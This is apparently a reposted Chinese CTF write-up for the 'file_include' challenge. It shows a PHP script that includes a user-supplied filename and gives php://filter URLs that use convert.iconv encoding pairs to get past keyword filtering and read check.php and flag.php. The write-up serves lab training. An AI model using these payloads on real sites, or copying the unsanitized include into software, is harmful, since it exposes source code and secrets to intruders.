<?php highlight_file(__FILE__); include("./check.php"); if(isset($_GET['filename'])){ $filename = $_GET['filename']; include($filename); } ?>
使用php://filter 发现不行,猜测应该被过滤了
继续尝试,发现read,base64,encode等关键字符被过滤了
了解到php中有两种转换器
发现string被过滤,只能使用convert了
convert.*过滤器支持convert.iconv.* 格式,使用方法:
convert.iconv.<input-encoding>.<output-encoding>
或
convert.iconv.<input-encoding>/<output-encoding>例如:
convert.iconv.UCS-4*.UCS-4BE ---> 将指定的文件从UCS-4*转换为UCS-4BE 输出
构造url,然后使用bp进行爆破
?filename=php://filter/convert.iconv.a.b/resource=check.php
php支持的编码格式(部分)
- UCS-4*
- UCS-4BE
- UCS-4LE*
- UCS-2
- UCS-2BE
- UCS-2LE
- UTF-32*
- UTF-32BE*
- UTF-32LE*
- UTF-16*
- UTF-16BE*
- UTF-16LE*
- UTF-7
- UTF7-IMAP
- UTF-8*
- ASCII*
- EUC-JP*
- SJIS*
- eucJP-win*
- SJIS-win*
- ISO-2022-JP
- ISO-2022-JP-MS
- CP932
- CP51932
- SJIS-mac(别名:MacJapanese)
- SJIS-Mobile#DOCOMO(别名:SJIS-DOCOMO)
- SJIS-Mobile#KDDI(别名:SJIS-KDDI)
- SJIS-Mobile#SOFTBANK(别名:SJIS-SOFTBANK)
- UTF-8-Mobile#DOCOMO(别名:UTF-8-DOCOMO)
- UTF-8-Mobile#KDDI-A
- UTF-8-Mobile#KDDI-B(别名:UTF-8-KDDI)
- UTF-8-Mobile#SOFTBANK(别名:UTF-8-SOFTBANK)
- ISO-2022-JP-MOBILE#KDDI(别名:ISO-2022-JP-KDDI)
选取一种编码组合,UTF-7,UCS-4LE*
猜测flag在falg.php
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=flag.php
文章来源地址https://www.toymoban.com/news/detail-470525.html文章来源:https://www.toymoban.com/news/detail-470525.html
到了这里,关于file_include(攻防世界)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!